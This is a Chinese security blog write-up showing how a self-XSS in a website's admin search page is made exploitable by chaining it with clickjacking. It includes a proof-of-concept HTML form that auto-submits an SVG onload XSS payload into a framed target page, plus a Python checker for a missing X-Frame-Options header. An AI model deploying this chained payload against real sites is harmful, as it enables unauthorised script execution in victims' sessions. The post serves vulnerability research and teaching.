组合拳玩转self-xss
本文最后更新于1707天前,其中的信息可能已经有所发展或是发生改变。

起因

昨天跟朋友去看电影,团队的小伙伴说有个站点有个self-xss,想让我看看有没有什么好的利用方法,于是便有了此文章。

正文

漏洞出现在后台的一处搜索页面,输入一个简单payload便可弹窗

组合拳玩转self-xss

但是悲催的是这是一个self-xss,需要用户自己输入payload并点击搜索才可以弹窗

组合拳玩转self-xss

一般碰到这种的xss我第一时间想到的就是看一看是否存在Click Jacking,拿出自己的测试工具进行测试,发现可以劫持

组合拳玩转self-xss

剩下的就是尝试构造poc了

先来分析下流程:用户输入语句–>点击搜索–>触发漏洞

那么我们需要做的就是

诱导受害者点开连接–>点击按钮(同时将payload提交出去)–>触发漏洞

最终poc如下(未进行css的设置)

<html>
<head>
</head>
    <form action='http://www.xxxx.com/xxx' method='POST' target='itest'>
        <input type='hidden'  name='search' value='"><svg/onload=alert(1)>'/>
        <input type='submit' value='confirm' />
    </form>
     <iframe src="http://xxxx/xxxx"  STYLE="width:1000;height:1000"name="itest"></iframe>
</body>
</html>

整个过程中比较麻烦的就是点击自动post提交,幸运的是html可以简单地做到,剩下的就是一个标签闭合问题了,单引号防止payload的双引号被闭合就ok,总体上写的比较烂,不能算是一个poc,效果如下

组合拳玩转self-xss

如果将按钮的css配置的再好一些,位置与原网页重合的话效果会更好,这里只是做一个简单的演示,其实还是自己懒….

附上检测代码


import requests


def jiance(urls):
    urls = "{}".format(urls)
    header={
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'
    }
    reqst = requests.get(url=urls,headers=header,timeout=5)
    if reqst.status_code == 200:
        code = reqst.headers
    try:
        print(code['X-FRAME-OPTIONS'])
        print('[n]X-FRAME-OPTIONS header, no click hijacking vulnerability can be used')
    except:
        print('[+]There is no X-FRAME-OPTIONS header. There is a clicking hijacking vulnerability')
        print('[!]Remind:It may be a defense against JS. Please test it yourself')
    else:
        print('[n]bjective instability')
def main():
    urls = input('Please enter the url to be detected (note to add http://):')
    jiance(urls=urls)

if __name__ == '__main__':
    main()

总结

这种提交型的self-xss还是第一次玩,还是很开心的…

组合拳玩转self-xss

作者:冷逸

https://lengjibo.github.io/%E7%BB%84%E5%90%88%E6%8B%B3%E7%8E%A9%E8%BD%ACself-xss/

组合拳玩转self-xss

点击数:81

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇